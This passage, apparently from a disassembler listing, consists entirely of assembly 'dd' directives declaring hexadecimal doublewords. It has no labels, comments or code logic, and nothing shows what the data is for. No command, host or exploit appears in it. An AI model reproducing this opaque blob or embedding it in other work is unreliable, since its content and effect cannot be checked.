		dd 207FBB8Bh, 0BB685251h, 0EC8A5F7Ch, 88109C27h, 1D9F2F7Dh
		dd 310A0DC6h, 0AC49E154h, 28085284h, 0C4E4CC0h,	29573EE3h
		dd 31045B48h, 1249A66h,	3348A61Dh, 6859C040h, 582E59B4h
		dd 0F7802490h, 294EF64Bh, 864F268h, 93125E12h, 3B0BDDBBh
		dd 5C307CEFh, 0C95BE909h, 7F9CDDFEh, 1365AB0Bh,	9593800Fh
		dd 951B7539h, 8084CEAh,	22FE1A9Ch, 10A1170Ah, 0FF5F2E06h
		dd 4DD7CF40h, 0F9255C07h, 10B22A05h, 50868088h,	1FCE661h
		dd 4082DF58h, 68175B08h, 1E341FE8h, 21DE5590h, 5D2C18A8h
		dd 509B4C51h, 0E87D2D2Eh, 0C045A3Fh, 601A5F6Dh,	54ACC974h
		dd 0FDD54A27h, 9F2C8BFBh, 5D4ADD00h, 99257Bh, 350C287Dh
		dd 6DFE2CB1h, 8EDA48CBh, 50EAD207h, 0A54E083Dh,	0B2A06BF8h
		dd 740D4B28h, 8D87AF17h, 0E995B6F0h, 0B85A5E0Eh, 7D1D6C6h
		dd 0FE054A0Dh, 5A578159h, 0B574EAF4h, 0E1249871h, 0BFF80027h
		dd 16B336DCh, 8F92152h,	530BDE70h, 0F1588750h, 0B87A687Dh
		dd 0A3E9F08Ch, 13F993F9h
		dd 6779C782h, 0E05F09AEh, 5D284FBEh, 99CCADEh, 3E5E5AF0h
		dd 104BB33Bh, 68A2A72Ch, 0ADE675E9h, 509CB500h,	0F634B652h
		dd 217E9DDEh, 2035B060h, 0F7E92EC6h, 3AEA4B0h, 0B9DA214Ah
		dd 3A4801D9h, 4F91DD8Ch, 9CF09736h, 0B0A82E9Ch,	0B6AB6C3h
		dd 4208F2A8h, 570925F7h, 20454657h, 303E5138h, 842C25CBh
		dd 0C0AA5D3Ah, 457D687Eh, 24060AAh, 772E6721h, 5F106B38h
		dd 0B5C0AE4Ah, 28238AE5h, 4AB966F3h, 6B5C9D28h,	0DCAAD06h
		dd 0D5E91A42h, 9D04416Dh, 443FC468h, 131012C5h,	608D1D10h
		dd 0CD65EB5Eh, 0D2714AD6h, 0C5106842h, 8A630F02h, 5D892175h
		dd 9F032BFCh, 5FDFECB8h, 200BE84h, 0F1E9CE01h, 0EB3BCB0Bh
		dd 0F000425Dh, 8420037h, 0E9410212h, 76BDFF64h,	7E68C116h
		dd 7CA78815h, 274126FBh, 94494E60h, 3B9698BFh, 0D154B7BEh
		dd 112056D9h, 0C369C026h, 0EC42D1EFh, 5B895795h, 0A2AC55Fh
		dd 257C7473h, 58666155h, 8237FF3Bh, 44ABE875h, 138FE420h
		dd 76025005h, 524677BEh, 0AF418734h, 0BD8C5247h, 250170FFh
		dd 905D4481h, 65F4E9FBh, 0F95B247Ch, 5FDF106Fh,	2E98BE02h
		dd 7B613E66h, 7D2D026Fh, 0EDC0B86Ah, 0D01D05F0h, 0FE256B3Bh
		dd 0D4202DEh, 260061B7h, 15670640h, 0A43F6FE9h,	715C184h
		dd 46D130BBh, 0B97A3176h, 0C41D2A14h, 0B8610D38h, 5B98FA58h
		dd 0F6BBCEBDh, 67291688h, 0EF04BE1Ch, 0E1440A6Bh, 5ACCB34Ah
		dd 4401BFF4h, 9400D7Ch,	52F9945Ch, 2FC367FFh, 6F4498D5h
		dd 19710B3Bh, 9521F468h, 6A3CB4E9h, 31E896D9h, 51EBB479h
		dd 3CB3057h, 32CD0A12h,	0B9E1FD13h, 0CB3FF22Ah,	54254253h
		dd 6C21FB21h, 1675493Ah, 69B2091h, 3168504Ch, 84C2171Bh
		dd 0E84B8D2Dh, 0AA27814Ah, 0C528CD82h, 80F26E50h, 0F8A05256h
		dd 5CD31064h, 95160EEEh, 7E25CC92h, 0C793A060h,	0E77A580Ah
		dd 4122AC3Eh, 71A63E08h, 25108F95h, 7D052531h, 0A1D6BA0Bh
		dd 98F7FC9h, 0DE42A1F5h, 0A4CAFC5Ah, 0B0F6F8EAh, 7C7675FEh
		dd 0FAF6282Ch, 1AC50506h, 0E80C5121h, 8ED284Eh,	8786E925h
		dd 0F3C166CDh, 68D43F3Ah, 0EC6A5B2Ch, 0A7BA83D7h, 0EB220916h
		dd 0F68403C7h, 5F5F0AE2h, 0CF109726h, 0DE980B5Eh, 75681DC0h
		dd 0D09DFCFEh, 2C72734h, 50718F74h, 632BBE2Fh, 0A6E0D316h
		dd 2AA71095h, 58C5310Bh, 0F59820F5h, 1BAF706Bh,	0A7E82941h
		dd 0F0E08225h, 0C247B525h, 585D7CADh, 0CDC6293Dh, 207756BDh
		dd 50BD47AAh, 53EC091Eh, 5D31C9h, 488AEE34h, 0BA327229h
		dd 130883B8h, 0BF26E989h, 0BB8116B3h, 3AF82CF2h, 41804088h
		dd 0E8DDC3A4h, 29AE4B5Eh, 0A5B06082h, 236F3B13h, 0A0622509h
		dd 851AD93Ah, 6D59976Ch, 0D6C60500h, 0B8899CCFh, 4AD8B51Bh
		dd 2C034320h, 38B5DFF7h, 8F09BD40h, 0E070E25Eh,	14F1E54Ch
		dd 0B434CD59h, 0E9450202h, 0CB52C439h, 54793CC4h, 0F2814A00h
		dd 0FE2C1DDAh, 5A19FD19h, 122EECD0h, 6DE6EF8Eh,	258BA296h
		dd 0E73B6053h, 13E23C6Eh, 64F37B7Eh, 0ABF74C59h, 0FE509B0Bh
		dd 68CA4F42h, 3C790BFEh, 74F4CD20h, 61B063E4h, 112B990Fh
		dd 26E3806Dh, 2F510542h, 0C46289E9h, 0E20703D5h, 3F29801h
		dd 71F89528h, 0F13AF5Bh, 0E0D29AA9h, 5A13B98Fh,	74BC38D4h
		dd 332AF832h, 8B86F975h, 82CEE075h, 0FC6B4C8h, 0C1897B35h
		dd 131A6182h, 5DC09A75h, 0C40375B3h, 462C12B5h,	80E0B629h
		dd 5CF2E908h, 0A781CD43h, 38688523h, 4CEDD7E7h,	0A8D19734h
		dd 9A52109Ch, 5EA95C28h, 8510D42Bh, 5BA1AB1Dh, 9238BF2Bh
		dd 0C9805FFAh, 0C9EB94Fh, 9A1E5E01h, 6D0E0485h,	80F32936h
		dd 640C3295h, 0F0B94B5Eh, 0DD51AD05h, 180EA1Dh,	1810383Fh
		dd 0C763D9E9h, 3D7C95F7h, 8381645Bh, 0F360A660h, 0D8A045B2h
		dd 5C97BB65h, 61605299h, 288EFEE7h, 2976D07Ch, 80CAA86Ah
		dd 933509BBh, 4D0CBE1Fh, 0B466F9ABh, 4F2017D1h,	0E956FF24h
		dd 0B41D2ACh, 20D8289h,	0D14133D5h, 1E66E85Eh, 2F274B10h
		dd 0B25BA5Fh, 0AC79D6A5h, 0EE5D97D8h, 69946604h, 72D8CB02h
		dd 62FBC06Bh, 0FA6AA1F4h, 612F517Dh, 9550E068h,	5EE8EDF1h
		dd 0F30303BDh, 74D0A5BCh, 6EF46EF1h, 6BC17241h,	0F4204A2Eh
		dd 0AAF0BD4Dh, 17CDF99Dh, 9834BB29h, 2DA711C0h,	216D25E9h
		dd 805E977Fh, 41195205h, 0C14C89FCh, 361F8486h,	0B32B6ABh
		dd 0F9207968h, 38E188D7h, 6EA5973Eh, 0E4CB48FCh, 0F46A4CDDh
		dd 12EB520h, 39588CE9h,	6DD9F69Dh, 57A90069h, 825CDB9Fh
		dd 12A31CC1h, 0D917DC26h, 0A0D2000Bh, 44F9EE64h, 1081A04h
		dd 801DCCEh, 4CAED1E9h,	2BE8B9FFh, 16065F4Ch, 63C87CA9h
		dd 77BA9881h, 3156796Eh, 310CBFBEh, 205EF9F7h, 5F4BF905h
		dd 0BA931EBCh, 0C1ED75A5h, 54568889h, 0BB9D1084h, 0FD1A8BE2h
		dd 9CCB81A6h, 4C7F64CAh, 582DF4A0h, 0C59D7B91h,	80568E48h
		dd 8D54E219h, 0F5E41F4Ah, 9C059F6Dh, 3022EE5Bh,	8189D7C8h
		dd 0F0547DFEh, 0FECE25FCh, 7C563057h, 5866809Bh, 59CF3002h
		dd 0C0286C04h, 0B5F41968h, 278630A2h, 9289D454h, 0C2C259EAh
		dd 61DA3368h, 0FEF72613h, 4E3ADCEFh, 5B02FD9Eh,	6E5EF129h
		dd 3CD997D9h, 0F44B228Bh, 0D97D720Fh, 74A0893Fh, 4D828AD1h
		dd 682C3B0Ch, 7D1C265h,	0E9416525h, 3BBA2993h, 76D50B75h
		dd 7DBF89F0h, 975D445Fh, 0AB757589h, 80C67222h,	800D7082h
		dd 0E1E4D488h, 0E606B0A1h, 386C78B8h, 67EA5997h, 46B9E202h
		dd 0D6092775h, 0BFFCB784h, 85D9AB4Ah, 8994A87Bh, 2D747829h
		dd 0E219178Dh, 2082C133h, 200E148h, 8E8BF181h, 4831A8D0h
		dd 0AB85E9CEh, 8B8113FDh, 10391663h, 68562160h,	1326190Ah
		dd 6480F444h, 0B876B24Dh, 0C5DEEA2Ch, 0D4308E3Fh, 5BE10B5Ah
		dd 0C82E3E37h, 0F2B316C7h, 0FCB22676h, 2D4EBA81h, 0E83A0D92h
		dd 0CE725081h, 4DE6AA9Fh, 0E16D923Dh, 502772A8h, 8EAC2971h
		dd 0EB09DA21h, 4779DCD0h, 3FB19756h, 1EDFA53Eh,	0A96818B3h
		dd 0D4F9F740h, 6137DCBFh, 2AFEBF75h, 0E7D8D82Dh, 0C83D1659h
		dd 2581010Ch, 2043B12Ah, 7512EBBEh, 0E8E04A50h,	6C08A2E9h
		dd 340E80F2h, 0D638DB2Fh, 0F7C82384h, 5844F40Ah, 43F6BBDCh
		dd 10374811h, 1D4CD3FCh, 744EC07h, 7DA8BE25h, 0A225681Eh
		dd 0D374EB9h, 0A6A60464h, 0D6582F5Eh, 0F38758ECh, 0E6C083A0h
		dd 0C6670375h, 1DE3530Bh, 0A2515CE5h, 1382AE4Ah, 23FF565Fh
		dd 1FD649BCh, 0A85620E4h, 1D2F05E8h, 0DC823685h, 95EC5084h
		dd 27A8C76h, 570762F5h,	0A54FA459h, 79A4591Ch, 9CA9287h
		dd 4B496B2Bh, 262C6365h, 77710100h, 6507E943h, 0BB2DFAE4h
		dd 0B3A23797h, 34D4498h, 0EE07CDFh, 0F9FBD1F7h,	3F42E7F9h
		dd 833CAFEDh, 18F4E7CEh, 0F641400Fh, 2E782C7Ch,	3480828h
		dd 731B6806h, 710925BBh, 0FE4B321Bh, 5848362Dh,	0BDE91255h
		dd 37DCBE09h, 0FAA2B7EEh, 7541DE01h, 0A14B68E6h, 0CB3B580Bh
		dd 43604EDCh, 902E5BD5h, 52CD0675h, 0C0B4150h, 0EE3EBC07h
		dd 0E5D04D08h, 0C0318F5h, 7A0E6826h, 0E15BF0D1h, 0EDD88EF7h
		dd 334B1468h, 180537E3h, 835B2822h, 9B005341h, 31F4B951h
		dd 3E816F7Ah, 869321E1h, 25920012h, 95D9927h, 2D8BF95Ah
		dd 8CD9171Ah, 9B40C355h, 0C80F022Dh, 5966522Ch,	5C512C1h
		dd 0B35A46B8h, 2DCF88B1h, 457A1466h, 32685880h,	0A8710B78h
		dd 0F75E53E8h, 0C5B0DE5Ah, 1DBD0055h, 817BF930h, 0CF12E2F5h
		dd 60128406h, 29BCB0FFh
		dd 37E9EE0Bh, 0EAA123C4h, 0BE99E13Eh, 8D60D0F5h, 0EB5199D5h
		dd 0E73138F8h, 0BA988378h, 4A55F73Fh, 0E9C51EA8h, 0EE22D411h
		dd 4794F1B2h, 0F6AE814Fh, 72F730D2h, 0F43670B5h, 675EC9C2h
		dd 109104Eh, 205658C6h,	932FEDBAh, 0A22DF263h, 0CC266106h
		dd 0AD585768h, 8F24E84Eh, 69BFD70Eh, 594360C7h,	93F6F3B5h
		dd 0FBB60B5Ch, 48455468h, 99E15B97h, 7F4D72D7h,	1226A28Ch
		dd 0FE760D1Dh, 0C0472D9h, 50494283h, 90C94733h,	98145AE1h
		dd 59976F76h, 0FE688818h, 706C42h, 0F65D20BFh, 0EF815007h
		dd 4733062Ah, 3F90DCE9h, 21D15BBh, 2FB81A6Bh, 3860118Ch
		dd 6481A22Ah, 5F02F770h, 0DC30BF56h, 956274E9h,	5CF5B9E8h
		dd 5ED1773Bh, 9A121CACh, 37C8982h, 0FC5FF3h, 0D41095B9h
		dd 1541BD3Fh, 9D042F65h, 0E1FA2D59h, 707DD654h,	4037A261h
		dd 9F5092B4h, 0A6892251h, 2575EEBAh, 0E7DD5AD0h, 24341066h
		dd 8EBA357Ch, 0D6FEBBC4h, 0AFA450E8h, 0D0175646h, 5C1DC422h
		dd 3ADBA66h, 303FA530h,	5E955BDCh, 99550B74h, 109DE42Ah
		dd 806558F8h, 0B652C328h, 6BDEFCCFh, 59561CD4h,	2D6AE463h
		dd 0A1F0663Ch, 0B673C518h, 975DE874h, 9C8CFB10h, 0A867A29Fh
		dd 8B99FEC0h, 0D18F5A1Ah, 0FED15262h, 34DF4CDFh, 0AA9B60B8h
		dd 0AC11A4CBh, 4B342177h, 226C6880h, 0E9143B94h, 0D2ECA849h
		dd 3F6AF701h, 2705127h,	0FA397209h, 89582DE9h, 0AD9D0BBh
		dd 1CDD6B17h, 759C6830h, 0C3D8F50Bh, 1102F13h, 0F80F09DCh
		dd 690D9772h, 8061CCBh,	0D314821Ch, 0E4CC2791h,	5C766C20h
		dd 36502643h, 7BBAB7ADh, 5BDEAC40h, 4F33092Eh, 60D812B0h
		dd 0AF755B10h, 0C2BA201h, 0E63A0836h, 607F002Dh, 0D90934D2h
		dd 0E1C1305Bh, 131AF182h, 38D228FAh, 20C1F384h,	0AE050827h
		dd 290E7D90h, 5B55ADFh,	0CBC389E6h, 0E30A760Ch,	8F902E48h
		dd 2C131F3Bh, 20C54294h, 1CB398BFh, 20D81874h, 11D6E390h
		dd 0E912A58Bh, 0BE13C06Ah, 0C6007B4Eh, 51CE813Ch, 97770D66h
		dd 5B02CCD1h, 0DEBBC380h, 2DFEBADEh, 0D1930AEFh, 2AF299C1h
		dd 4089908Ch, 20D2F7AAh, 0D6071AFCh, 0F4DF0397h, 27AFFD4Ah
		dd 4E875EC6h, 0E19612D7h, 0B2563E17h, 200C4BEh,	1D026AF4h
		dd 11ABA682h, 0D3635407h, 0B20C24C9h, 7E20983h,	0FEF93A84h
		dd 9108CA24h, 0E66806F6h, 0A37BFF7Ch, 0FF27C29Bh, 7DA4720Fh
		dd 0C6A1AC43h, 62BA280h, 184602CDh, 150CD05Eh, 0C060859h
		dd 9BDB3BECh, 5AECA8CAh, 0EAB0D1BCh, 0D72D5B97h, 0A083DE76h
		dd 82FE9F08h, 2E21136Eh, 8645B977h, 53C410E2h, 17200AC4h
		dd 995A6011h, 12FD67CEh, 0A8A4C061h, 0B5F955BCh, 0A1EE6C54h
		dd 3F5E6074h, 64497E16h, 0F6D983FAh, 60533581h,	8CF68981h
		dd 0F9297D0Bh, 0D5FB1A5Fh, 682DDEBEh, 9C9E71BCh, 3539C1BEh
		dd 0A74CE965h, 0E85F768Ch, 94B9602Bh, 0B30ED35h, 610D0E56h
		dd 0BE730248h, 0B090CE7Dh, 9A86E3DFh, 0FD385FF1h, 0C19456FEh
		dd 96228448h, 87B7C6F8h, 0F4B3DE91h, 2D2425B5h,	0FD018B5Dh
		dd 0B1F38104h, 6BB86B63h, 0B321BBA4h, 0E070C180h, 5A5973CCh
		dd 807EA9E3h, 0F18013B1h, 95CBE044h, 0B00B177Bh, 580B04F9h
		dd 8FBB5EEEh, 0BC366187h, 81EC8444h, 35DDCAEFh,	1082495Fh
		dd 0BFABFA54h, 0FBA34980h, 2100C99Fh, 53505BDFh, 752F0468h
		dd 1343F0C3h, 0BB2E88E9h, 0D068C071h, 602356FEh, 47E74F3Dh
		dd 6D7F724h, 0FD158203h, 0CB0B75Ah, 0C54A5209h,	0BAF8A2h
		dd 0A48935AAh, 31048A46h, 0EAC158C2h, 0ADCDAB82h, 1AC92CC2h
		dd 5D02222Fh, 769D0CD8h, 0CB96CFC4h, 7E90B0Fh, 4238FD9Fh
		dd 949513FEh, 208E9818h, 0C1F8DA56h, 4B852C04h,	9A05146h
		dd 0A1281609h, 5CCE130h, 1818B907h, 3169E7E8h, 0F4657F91h
		dd 0AB04FD0Bh, 0C1FB6BC1h, 0C7595801h, 95F4E3FBh, 11A3BBB0h
		dd 87F001C4h, 0B728D836h, 0E8CF595h, 3D13B9A2h,	0CF946947h
		dd 5F510819h, 96268170h, 9EBD010Bh, 0EB2D5B4Ah,	0BA75F6F2h
		dd 3D377677h, 0D25AF9CBh, 0B02861ABh, 56810542h, 5204FE6Eh
		dd 4A22B857h, 4E608BEAh, 0EA684B93h, 9330DF5Fh,	5081704Ch
		dd 0F53CAB3Eh, 0E4FD4DE9h, 4E8C112h, 0F28812h, 3046C981h
		dd 8C5251F5h, 0EAB07BF4h, 0F0CCB29Ah, 0E39BC70h, 0E309EAB4h
		dd 48579E12h, 4ABF6867h, 16E8B318h, 3BC431E9h, 0C85C32BEh
		dd 8B6479F7h, 0E790360h, 4BA0BB47h, 27E917CEh, 2AFA9219h
		dd 470F106h, 58A41629h,	0E42F3825h, 126DDD0h, 3970DDFDh
		dd 8D7C97DDh, 0BD3CFA4Bh, 53707AF6h, 34E91852h,	9DCE99DEh
		dd 3EC25516h, 1146C08h,	0C9C3A9BEh, 65842A0Ch, 419BE9BFh
		dd 0A313675h, 9866E9F6h, 5453CC05h, 559E98ABh, 23489DFEh
		dd 651793A7h, 0C103D5BAh, 18EFBAh, 3D2C5B68h, 9274488h
		dd 28AC0041h, 0B5B6A11Ch, 8093E03Ah, 2CA7F601h,	4F0283Eh
		dd 40DE5AD1h, 0BDE0F919h, 628D16B0h, 6359902Dh,	5D57C877h
		dd 8422B55Fh, 0E7A0F3D1h, 5A9243E6h, 3A25F195h,	0BE8C13F0h
		dd 2BC3E1B1h, 9DFF5581h, 0B6A9EC2Ah, 0F98F4E4Eh, 0AD8D095h
		dd 657DAF68h, 60046693h, 910334FDh, 729ED0F7h, 4BC46E09h
		dd 3F057723h, 2D3A8C7h,	3F69F3B8h, 0F427F71h, 110716C0h
		dd 858AD62Dh, 39C25EF8h, 0C5F5C8C3h, 0ED961E97h, 0E01FD24Eh
		dd 68135ABAh, 8DCD67B9h, 2EC559F8h, 0C9B316Fh, 0B9906B9Fh
		dd 0F413F29Dh, 13E692BBh, 0FFE1B353h, 2CD0F5C1h, 0EF665ADCh
		dd 0D0897A25h, 47D441C3h, 163E153h, 4F6BB26Fh, 2D85B7FDh
		dd 478AAA7Ah, 0E7403995h, 3D10E27Bh, 22296820h,	3CF90066h
		dd 3250DEAh, 65DC540Eh,	2AA4EF40h, 0FB0B8FECh, 8006F119h
		dd 5452773Fh, 5F97C609h, 33764098h, 7A1E549Fh, 0C79DFC5Dh
		dd 0E77EEBE9h, 4B8EEC8Fh, 0B9E86057h, 510FEA54h, 0D06EEDB1h
		dd 0CC52E9A1h, 2B3031C1h, 0A12AAF41h, 2CB02F83h, 0CA4005AAh
		dd 0E0CF3178h, 5E069813h, 0D8F76BD5h, 47B00D4h,	6354AFFh
		dd 50752F3Fh, 450FC917h, 0B248DFB8h, 0E9379B02h, 4ED767B5h
		dd 5B543038h, 0CA6AB4C4h, 2CD40F48h, 44416E78h,	9730AA29h
		dd 692B02F1h, 0CD016471h, 0D621F60Ah, 0AC555802h, 61AA427Ch
		dd 1B64A611h, 102C25F9h, 0D351415Fh, 63A6D96Fh,	3E0222C9h
		dd 0B34BD830h, 0DDFED2B0h, 0EFA03B3Ah, 2E394130h, 0FF0269C2h
		dd 0FC2FD76Fh, 0B3EEE205h, 60E168C9h, 68BE9085h, 0F3FF2F35h
		dd 36D38D9Fh, 0A497F82Fh, 19B5B82h, 0C602685Fh,	0C30B4C4Ch
		dd 7F1EF043h, 0F18929BAh, 510AE08h, 0F356C568h,	75B55B80h
		dd 0E35D26A7h, 75EAB2F3h, 183425DEh, 4931B8EBh,	0B7697818h
		dd 92635FA4h, 3E2C45C9h, 656A92CCh, 0E5022BCh, 0F047CED2h
		dd 0C5C6555Ah, 0D3660C3Fh, 0A53E0420h, 0CF71F966h, 3CFEF8D7h
		dd 0E84E68CAh, 2D01E125h, 0A8A8098h, 21EBC7Ah, 6C5195EDh
		dd 0FDA8DD4Bh, 93723208h, 2A0562E8h, 1B9F1605h,	44EBEE81h
		dd 0F0E1E969h, 0F84D68FDh, 8FAB4A24h, 3EAD45A3h, 0E9C4AEF3h
		dd 164AFC2Fh, 17095246h, 0F5806208h, 7C9F82B4h,	0EBEE6505h
		dd 0F2E99A90h, 0C13DC9A1h, 4BD078D5h, 0D5C3D5Fh, 69E3669Fh
		dd 0EBE2E9FEh, 8F1EEF2Ah, 590416C9h, 8BB188BBh,	0E6055B17h
		dd 0B825FEEAh, 62289284h, 6D5BBFEDh, 5E97FD20h,	6F6841C7h
		dd 0F08C2F3Ch, 49816002h, 0A74EDBC6h, 0FE012E13h, 5E084A10h
		dd 2C6073E7h, 7BB5445Dh, 0D877E91Ah, 9EA3419Bh,	414C96FAh
		dd 82F87h, 5DBD01A0h
		dd 0E929051Eh, 0DE47AF11h, 82AB42D3h, 3E6B593h,	0B8027D9Dh
		dd 0E956E417h, 0D3E2478Eh, 59B37770h, 6E829D88h, 0B6D9AEFDh
		dd 0AF3BFB6Dh, 8033DD3Ch, 9E92C4E9h, 730AD76h, 5AF1353Dh
		dd 0B970492h, 8259C831h, 57436AD1h, 55C20C25h, 0A3543689h
		dd 36BD14h, 0FCE5BEFh, 0FAF88976h, 0C1859FD9h, 0D069ED5Eh
		dd 17C304C1h, 64A01409h, 0E339134Fh, 0DCF10B6Ch, 569765F9h
		dd 0E1E1A713h, 0E97B757Fh, 0E0C71780h, 17390388h, 5E35C160h
		dd 0AD5B9CBh, 0F95623A5h, 7E3E6884h, 0AB3E34AFh, 6C291291h
		dd 334B5D03h, 483092BFh, 0DE97E858h, 9F1F538Ah,	7D255557h
		dd 54611F6Eh, 0FA59E9D3h, 8A01D048h, 6997B054h,	0D4D8E053h
		dd 17D46052h, 122583C7h, 1A0C82FDh, 8964D32Ch, 4429F7BFh
		dd 9AD5CA32h, 7CD7B58h,	2039714Ch, 0FBCB814Bh, 2CC24D1Dh
		dd 471CF380h, 0B85136C8h, 902353F3h, 0B4DCE905h, 0C2CF34FEh
		dd 0F00B8215h, 61CD0FC4h, 0B884B0CCh, 9A88BA99h, 2780E6B7h
		dd 0C4C15AC7h, 10CD3E6Ch, 0F34A622Dh, 8678DB6Fh, 16B30E30h
		dd 0DA0B27B2h, 0EA0ADCA9h, 1DE52C05h, 8368042Ch, 0E531FA3Eh
		dd 0BB3AA3B4h, 887B9002h, 34D6E4E1h, 0BAA520C5h, 5312641Ch
		dd 9D853ABh, 9FC1AA15h,	0F9BC3ABEh, 3B01B14Bh, 0E1BB3388h
		dd 0DFFBE32Fh, 515ECD0h, 97440A02h, 5C5D09BAh, 1D5C3BE5h
		dd 2AC4212h, 12C8AC5Fh,	0C6203639h, 2E59702Fh, 1F9F215Ch
		dd 75E8D94Fh, 0C926285Fh, 54D60B21h, 6E0147B0h,	22FE28EBh
		dd 0ED445B17h, 0D31DB66Ah, 0EED113FBh, 2EAC7856h, 0D334BC4h
		dd 123F5158h, 73F372A6h, 2E5C6149h, 0BA9679EDh,	0E85E278Bh
		dd 0C1F3A4C3h, 0C8BF0F01h, 3A1C3868h, 688572F6h, 0B113FA79h
		dd 0D464A2EAh, 4A5C5CCEh, 81A5D1ECh, 6C6DE6B2h,	0B3C9C460h
		dd 2C685902h, 0F62780DAh, 3B6BC609h, 3D310FDBh,	2F333142h
		dd 0FC590EB6h, 0BB7CC327h, 7E1AB558h, 28F11D80h, 157579EBh
		dd 0D0A3EFE9h, 0AFA4D334h, 538465E1h, 0F4A258E9h, 17BC433Ch
		dd 0AF9CFD2Dh, 20BF6EA1h, 0C69FC1C2h, 0C301288Bh, 5BFA008Dh
		dd 0DEF70F6Fh, 0E609D14Eh, 2E0DF3E9h, 13CC51Fh,	0B8508147h
		dd 42086A70h, 427022Dh,	0D6E90A12h, 0E83060F0h,	6349DF14h
		dd 767400E7h, 0A8B9F941h, 55004254h, 9E4A08ADh,	714759Fh
		dd 5AC18BE6h, 0A70A4960h, 0EA1E0B65h, 0FF2F0E77h, 70BB4C33h
		dd 9F7F655h, 19A8A1BAh,	0F9130380h, 86520F59h, 0BE6604E2h
		dd 0B2808FE2h, 687F27BDh, 98C0C38h, 22085076h, 0B4E901C4h
		dd 834283A1h, 0C15ECE76h, 396FF51h, 50B7EC4Bh, 301A96C3h
		dd 0B4170CE9h, 5500890Eh, 0A4EC67A2h, 19D39F7h,	806056DDh
		dd 48E958D2h, 24001E82h, 0C364B19Eh, 38937735h,	0F3E008h
		dd 0CF058D27h, 61DCADA1h, 2801D59Dh, 7564FB81h,	291C200Eh
		dd 0BE94BC5h, 59388220h, 303A003Ch, 8C19038Eh, 2D60E91Bh
		dd 4C74751Fh, 0B186097Dh, 438EE4FCh, 0C3DD34E3h, 0D54B1EC0h
		dd 0F234D06h, 18350882h, 0C8C88150h, 5E170C70h,	37434EE9h
		dd 0D8C773BFh, 6E775Ch,	0C80CE38Ch, 0B1EBC1A7h,	25FAB900h
		dd 0FD29683h, 0D7A50FC4h, 0F22FB5ECh, 0DC55EF80h, 0A11CC70Dh
		dd 0C147E7DAh, 8AFFB9FAh, 0B878048Eh, 0C9190666h, 18966D6Ch
		dd 517BBD00h, 26775BA3h, 8E53006Bh, 0AEEDF922h,	0B8036CBFh
		dd 0BE82B776h, 4229F606h, 0F0231112h, 8108A421h, 84FE9054h
		dd 9048F16Ch, 2455EC42h, 2805EEAh, 0DEBDC18h, 15050041h
		dd 42316E5Ch, 59079664h, 83BF926Ah, 0C50D45A1h,	399660h
		dd 67B05BEEh, 8ED782FAh, 0FDA94407h, 9F806CCFh,	0FF8D3BFh
		dd 69D5DABDh, 9ABB4860h, 0E6005D02h, 41FA5B59h,	0FA257040h
		dd 98760322h, 9EA621CDh, 3653D0E0h, 0FD789B00h,	8F7F6A4Eh
		dd 18D803EEh, 5E8C34A7h, 624D32A8h, 0BB21B500h,	3C209312h
		dd 0DF7C2Fh, 17F4EBA3h,	6204DA52h, 2A087F09h, 0B5B0803Bh
		dd 1428FF61h, 0C494EB6Ah, 0FA8BDB00h, 2297064Eh, 0E62F7700h
		dd 0E539C47h, 1D9BB070h, 0EA960Fh, 3707E2C2h, 34000AFBh
		dd 752E1D5Ah, 0B594885h, 9A6EAA9Fh, 23445180h, 0A5FE94C8h
		dd 7E009675h, 0BF695513h, 3FBCCC29h, 0A180503Dh, 917D62F8h
		dd 0DA1E2F8Ch, 55C19774h, 0D1A9C77Ah, 0C258C0h,	67DEA517h
		dd 0BFCCB18Eh, 0BB0E5107h, 0B890A78Ch, 608FB99Eh, 0B247122h
		dd 83B86FB6h, 0A5F03607h, 0EE0EEF07h, 0DE1F8041h, 0FE338865h
		dd 7743011Dh, 9BACE6EDh, 0AD62C880h, 55F29A50h,	3C1E8B1Dh
		dd 65C0B7DCh, 8A67E0C3h, 0AA0500E7h, 0D63011B4h, 320039DCh
		dd 0EA57296Bh, 8C4FA0h,	0D17ED019h, 0D8A9FB44h,	0F0277000h
		dd 0EEE34A26h, 0E6CD3E9Ah, 4801F598h, 0ED7744A4h, 0C298E50Fh
		dd 89E44046h, 499DD748h, 12009CEAh, 0CCC045F6h,	4002C97Dh
		dd 51011BDh, 1294A024h,	286559h, 2A76FD79h, 0CEA3593h
		dd 2840FAFBh, 8902D550h, 0B75954A9h, 71C4E0D4h,	88513121h
		dd 0E0D71A60h, 42001B91h, 47D9AB33h, 0CF2B328h,	5DCEAC15h
		dd 0F0006B69h, 9852259Bh, 0E683C9h, 29587888h, 2E3B3985h
		dd 60DBE100h, 1A25BCDEh, 0AB630096h, 0F8C2FC75h, 3200A2ECh
		dd 413CEFCDh, 0E8CC15Ch, 176F3511h, 67737523h, 0DDE20AFh
		dd 95031413h, 94FF49ECh, 24128018h, 67AA00A0h, 1B0FCEFh
		dd 0BC00E0E4h, 9BEADDE9h, 6F61EBh, 5FE3721Fh, 0DFEF4CB4h
		dd 0DC7CE00h, 6DC56AD1h, 9E9A0095h, 2A563C37h, 307D48E1h
		dd 918A1F0Eh, 6FE200C5h, 26EC4912h, 0F585A8Dh, 1F1CBC7Eh
		dd 297280AEh, 55A025D7h, 0CA500400h, 0F5602E7Fh, 153400ABh
		dd 4EF1ED43h, 1C0FFE6Dh, 401E977Ah, 6746BEA1h, 8CFD00C5h
		dd 0FEFA7D40h, 80084C2h, 4990D75Ch, 2AB197B0h, 0B457D4h
		dd 2BA1F671h, 6AF9E58h,	0C8700BF4h, 72007892h, 0E5D3BE81h
		dd 5C2C61h, 0DAABFAEDh,	11BCB46Ah, 872CBDFAh, 0EB09F7B6h
		dd 3C9103DBh, 0A847C160h, 0AD3DDCh, 3B537379h, 0B98D2F32h
		dd 24F8212h, 0FD844840h, 9C25D9h, 0B398EDE4h, 0D146F1C8h
		dd 529DF803h, 90106E08h, 0FAB5CBh, 9F76CEAEh, 0B8B066EEh
		dd 24BA6307h, 0E710F43Fh, 42219Bh, 0D3DFB6C0h, 69C91D4Fh
		dd 8A001090h, 0BEFBC87Eh, 0AFA21Ah, 761C369Ah, 11BBA54Bh
		dd 3CAD8E00h, 3DC24A59h, 8F97265Fh, 667B0054h, 0A3DC365Eh
		dd 4150491Eh, 2568BCC0h, 3C5ACE1h, 9EF30C94h, 93C81ED9h
		dd 0D80084F5h, 2F067B24h, 334773h, 0D2DA9EAFh, 1F626313h
		dd 3004EE4h, 9FA7F426h,	5CAFEDh, 9221DACh, 0CC209A83h
		dd 1135881Fh, 1029AE40h, 3F2A74BBh, 3087E38Fh, 904479C6h
